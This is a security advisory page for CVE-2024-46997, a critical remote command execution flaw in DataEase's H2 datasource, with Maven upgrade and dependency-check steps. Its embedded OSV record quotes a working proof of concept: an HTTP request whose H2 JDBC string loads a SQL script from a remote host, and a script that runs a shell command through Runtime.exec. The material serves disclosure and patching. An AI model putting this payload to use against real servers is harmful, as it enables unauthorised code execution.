CVE-2024-46997: Common Remote Code Execution Vulnerability
CRITICALCVE-2024-46997 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Common libraries in the Maven ecosystem. The issue involves dataease's h2 datasource has a remote command execution risk. Remediation is available by upgrading affected packages to version 2.10.1.
CVE-2024-46997 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2024-46997
To remediate this vulnerability, upgrade all affected Common dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>io.dataease</groupId>
<artifactId>common</artifactId>
<version>2.10.1</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.dataease
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2024-46997, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.dataease
Analyze the terminal output to locate any version of Common in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.1), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.dataease command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Common, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-46997 Affected Common Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.dataease:common
|
Maven |
< 2.10.1
|
2.10.1
|
References
Frequently Asked Questions
What is CVE-2024-46997?
Which Common versions are affected?
What version fixes CVE-2024-46997?
Is common affected?
What is the CVSS score of CVE-2024-46997?
What CWE is associated with CVE-2024-46997?
How can I check Maven dependencies for CVE-2024-46997?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h7mj-m72h-qm8w",
"modified" : "2024-09-23T20:27:11Z",
"published" : "2024-09-23T20:27:11Z",
"aliases" : [ "CVE-2024-46997" ],
"summary" : "DataEase's H2 datasource has a remote command execution risk",
"details" : "### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n \"id\": \"\",\n \"name\": \"test\",\n \"type\": \"h2\",\n \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.dataease:common"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.10.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.10.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-46997"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dataease/dataease"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-09-23T20:27:11Z",
"nvd_published_at" : "2024-09-23T16:15:06Z"
}
}